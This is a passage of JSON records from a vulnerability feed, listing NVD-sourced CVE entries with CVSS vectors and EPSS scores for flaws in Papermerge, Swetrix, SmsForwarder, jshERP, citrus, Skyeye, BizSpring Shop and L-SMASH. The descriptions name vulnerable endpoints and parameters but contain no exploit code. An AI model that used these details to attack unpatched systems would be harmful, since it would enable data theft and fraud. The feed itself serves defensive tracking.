EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110629&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110629, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110623","cveId":"CVE-2026-110623","aliases":[],"kind":"vulnerability","title":"Papermerge Core through 3.5.3 contains a missing authorization vulnerability in the shared nodes API that allows authenticated users to share other users' documents by supplying...","summary":"Papermerge Core through 3.5.3 contains a missing authorization vulnerability in the shared nodes API that allows authenticated users to share other users' documents by supplying arbitrary node UUIDs. Attackers can call POST /shared-nodes or PATCH /shared-nodes/access/{node_id} to grant themselves any role, then read, modify, or delete victims' documents and revoke existing shares.","detail":"Papermerge Core through 3.5.3 contains a missing authorization vulnerability in the shared nodes API that allows authenticated users to share other users' documents by supplying arbitrary node UUIDs. Attackers can call POST /shared-nodes or PATCH /shared-nodes/access/{node_id} to grant themselves any role, then read, modify, or delete victims' documents and revoke existing shares.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:14.833Z","updatedAt":"2026-10-16T18:17:32.670Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110623","asOf":"2026-10-16T18:17:32.670Z"},"epss":{"probability":0.00499,"percentile":0.42462,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110623&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110623","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110623","type":"primary","publishedAt":"2026-10-14T15:17:14.833Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110623&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110623, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110622","cveId":"CVE-2026-110622","aliases":[],"kind":"vulnerability","title":"Papermerge Core through 3.5.3 contains a missing authorization vulnerability that allows authenticated users to manipulate other users' pages because page management and OCR...","summary":"Papermerge Core through 3.5.3 contains a missing authorization vulnerability that allows authenticated users to manipulate other users' pages because page management and OCR endpoints skip has_node_perm checks. Attackers knowing page UUIDs can call /pages/, /pages/move, or /pages/extract to rotate, delete, or extract victims' pages, and trigger OCR via /tasks/ocr.","detail":"Papermerge Core through 3.5.3 contains a missing authorization vulnerability that allows authenticated users to manipulate other users' pages because page management and OCR endpoints skip has_node_perm checks. Attackers knowing page UUIDs can call /pages/, /pages/move, or /pages/extract to rotate, delete, or extract victims' pages, and trigger OCR via /tasks/ocr.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:14.697Z","updatedAt":"2026-10-14T18:17:35.047Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110622","asOf":"2026-10-14T18:17:35.047Z"},"epss":{"probability":0.00499,"percentile":0.42462,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110622&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110622","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110622","type":"primary","publishedAt":"2026-10-14T15:17:14.697Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110622&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110622, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110621","cveId":"CVE-2026-110621","aliases":[],"kind":"vulnerability","title":"Swetrix Cloud before 5.1.0 contains a missing authorization vulnerability in ProjectController.addProject that allows authenticated users to hijack arbitrary projects by moving...","summary":"Swetrix Cloud before 5.1.0 contains a missing authorization vulnerability in ProjectController.addProject that allows authenticated users to hijack arbitrary projects by moving them into their own organisation. Attackers can create an organisation and add a victim project by its public tracking ID to read analytics, change settings, or delete it.","detail":"Swetrix Cloud before 5.1.0 contains a missing authorization vulnerability in ProjectController.addProject that allows authenticated users to hijack arbitrary projects by moving them into their own organisation. Attackers can create an organisation and add a victim project by its public tracking ID to read analytics, change settings, or delete it.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:14.497Z","updatedAt":"2026-10-20T02:17:09.410Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110621","asOf":"2026-10-20T02:17:09.410Z"},"epss":{"probability":0.00523,"percentile":0.44106,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110621&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110621","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110621","type":"primary","publishedAt":"2026-10-14T15:17:14.497Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110621&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110621, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110618","cveId":"CVE-2026-110618","aliases":[],"kind":"vulnerability","title":"SmsForwarder through 3.5.0 contains a missing authentication vulnerability in its AndServer HTTP server that allows unauthenticated network attackers to invoke remote-control APIs.","summary":"SmsForwarder through 3.5.0 contains a missing authentication vulnerability in its AndServer HTTP server that allows unauthenticated network attackers to invoke remote-control APIs. Attackers can call the default-enabled endpoints to read SMS, call logs and contacts, send SMS, and export or overwrite configuration via the clone API.","detail":"SmsForwarder through 3.5.0 contains a missing authentication vulnerability in its AndServer HTTP server that allows unauthenticated network attackers to invoke remote-control APIs. Attackers can call the default-enabled endpoints to read SMS, call logs and contacts, send SMS, and export or overwrite configuration via the clone API.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:14.053Z","updatedAt":"2026-10-16T19:03:18.127Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110618","asOf":"2026-10-16T19:03:18.127Z"},"epss":{"probability":0.00387,"percentile":0.32451,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110618&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110618","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110618","type":"primary","publishedAt":"2026-10-14T15:17:14.053Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110618&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110618, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110615","cveId":"CVE-2026-110615","aliases":[],"kind":"vulnerability","title":"jshERP through 3.6 contains a missing authorization vulnerability in the POST /user/batchSetStatus endpoint that allows authenticated low-privilege users to change other users'...","summary":"jshERP through 3.6 contains a missing authorization vulnerability in the POST /user/batchSetStatus endpoint that allows authenticated low-privilege users to change other users' account status. Attackers can submit crafted ids and status values to disable every non-owner account in their tenant, locking out administrators, or re-enable disabled accounts.","detail":"jshERP through 3.6 contains a missing authorization vulnerability in the POST /user/batchSetStatus endpoint that allows authenticated low-privilege users to change other users' account status. Attackers can submit crafted ids and status values to disable every non-owner account in their tenant, locking out administrators, or re-enable disabled accounts.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:13.607Z","updatedAt":"2026-10-18T12:17:08.460Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110615","asOf":"2026-10-18T12:17:08.460Z"},"epss":{"probability":0.00418,"percentile":0.35799,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110615&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110615","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110615","type":"primary","publishedAt":"2026-10-14T15:17:13.607Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110615&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110615, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110614","cveId":"CVE-2026-110614","aliases":[],"kind":"vulnerability","title":"Yiuman citrus through 0.15.0 contains an ORDER BY sql injection vulnerability in the citrus-support generic query framework that allows users to inject SQL via the sortBy request...","summary":"Yiuman citrus through 0.15.0 contains an ORDER BY sql injection vulnerability in the citrus-support generic query framework that allows users to inject SQL via the sortBy request parameter. Attackers can reach any generic list route of controllers extending BaseQueryController or BaseQueryRestful to append unvalidated SQL to the ORDER BY clause and extract database contents using boolean- or time-based blind techniques.","detail":"Yiuman citrus through 0.15.0 contains an ORDER BY sql injection vulnerability in the citrus-support generic query framework that allows users to inject SQL via the sortBy request parameter. Attackers can reach any generic list route of controllers extending BaseQueryController or BaseQueryRestful to append unvalidated SQL to the ORDER BY clause and extract database contents using boolean- or time-based blind techniques.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:13.463Z","updatedAt":"2026-10-15T14:47:05.720Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110614","asOf":"2026-10-15T14:47:05.720Z"},"epss":{"probability":0.00466,"percentile":0.40088,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110614&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110614","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110614","type":"primary","publishedAt":"2026-10-14T15:17:13.463Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110614&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110614, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110613","cveId":"CVE-2026-110613","aliases":[],"kind":"vulnerability","title":"youlai-mall through commit 9f62de8 contains a missing authorization vulnerability that allows authenticated members to view every customer's orders via the app order list endpoint.","summary":"youlai-mall through commit 9f62de8 contains a missing authorization vulnerability that allows authenticated members to view every customer's orders via the app order list endpoint. Attackers can page through the oms_order table using a self-registered account to read order ids, order_sn values, member ids, payment amounts, and order status.","detail":"youlai-mall through commit 9f62de8 contains a missing authorization vulnerability that allows authenticated members to view every customer's orders via the app order list endpoint. Attackers can page through the oms_order table using a self-registered account to read order ids, order_sn values, member ids, payment amounts, and order status.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:13.327Z","updatedAt":"2026-10-16T19:03:18.127Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110613","asOf":"2026-10-16T19:03:18.127Z"},"epss":{"probability":0.00415,"percentile":0.3551,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110613&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110613","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110613","type":"primary","publishedAt":"2026-10-14T15:17:13.327Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110613&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110613, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110609","cveId":"CVE-2026-110609","aliases":[],"kind":"vulnerability","title":"Dromara Skyeye through commit 65d3ddcede70 contains an sql injection vulnerability that allows authenticated low-privileged users to inject SQL via the keyword parameter in the...","summary":"Dromara Skyeye through commit 65d3ddcede70 contains an sql injection vulnerability that allows authenticated low-privileged users to inject SQL via the keyword parameter in the queryErpOrderItem MyBatis statement using raw ${} substitution. Attackers can send crafted keyword values to the queryWarehousingDetails or queryOutgoingDetails endpoints to extract database data, including other tenants' data, using boolean, UNION, error or time-based techniques.","detail":"Dromara Skyeye through commit 65d3ddcede70 contains an sql injection vulnerability that allows authenticated low-privileged users to inject SQL via the keyword parameter in the queryErpOrderItem MyBatis statement using raw ${} substitution. Attackers can send crafted keyword values to the queryWarehousingDetails or queryOutgoingDetails endpoints to extract database data, including other tenants' data, using boolean, UNION, error or time-based techniques.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:12.760Z","updatedAt":"2026-10-15T14:47:05.720Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110609","asOf":"2026-10-15T14:47:05.720Z"},"epss":{"probability":0.00466,"percentile":0.40087,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110609&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110609","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110609","type":"primary","publishedAt":"2026-10-14T15:17:12.760Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110609&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110609, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110607","cveId":"CVE-2026-110607","aliases":[],"kind":"vulnerability","title":"BizSpring Shop through commit cf22d39daaf1 contains a payment verification bypass vulnerability that allows authenticated buyers to mark orders paid by calling the...","summary":"BizSpring Shop through commit cf22d39daaf1 contains a payment verification bypass vulnerability that allows authenticated buyers to mark orders paid by calling the PaymentController.testPostPay handler. Attackers can generate a payment log via /member/payment/load and request /member/payment/test_post_pay_{paymentLogSn} to obtain goods without paying or settle other members' orders.","detail":"BizSpring Shop through commit cf22d39daaf1 contains a payment verification bypass vulnerability that allows authenticated buyers to mark orders paid by calling the PaymentController.testPostPay handler. Attackers can generate a payment log via /member/payment/load and request /member/payment/test_post_pay_{paymentLogSn} to obtain goods without paying or settle other members' orders.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:12.457Z","updatedAt":"2026-10-16T19:18:44.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110607","asOf":"2026-10-16T19:18:44.867Z"},"epss":{"probability":0.00305,"percentile":0.23024,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110607&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110607","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110607","type":"primary","publishedAt":"2026-10-14T15:17:12.457Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110607&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110607, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110599","cveId":"CVE-2026-110599","aliases":[],"kind":"vulnerability","title":"L-SMASH through 2.14.5 contains a double free vulnerability in hevc_setup_first_summary() and h264_setup_first_summary() in importer/nalu_imp.c that frees borrowed codec-specific...","summary":"L-SMASH through 2.14.5 contains a double free vulnerability in hevc_setup_first_summary() and h264_setup_first_summary() in importer/nalu_imp.c that frees borrowed codec-specific objects on error paths. Attackers can supply a crafted Annex-B elementary stream lacking a parseable SPS to lsmash_read_file() or the boxdumper, remuxer, or muxer tools, causing use-after-free, heap corruption, and crashes.","detail":"L-SMASH through 2.14.5 contains a double free vulnerability in hevc_setup_first_summary() and h264_setup_first_summary() in importer/nalu_imp.c that frees borrowed codec-specific objects on error paths. Attackers can supply a crafted Annex-B elementary stream lacking a parseable SPS to lsmash_read_file() or the boxdumper, remuxer, or muxer tools, causing use-after-free, heap corruption, and crashes.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:11.247Z","updatedAt":"2026-10-15T14:47:05.720Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.9,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110599","asOf":"2026-10-15T14:47:05.720Z"},"epss":{"probability":0.00243,"percentile":0.15372,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110599&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110599","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110599","type":"primary","publishedAt":"2026-10-14T15:17:11.247Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110599&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110599, scored 2026-10-25. This is a model estimate, not proof of 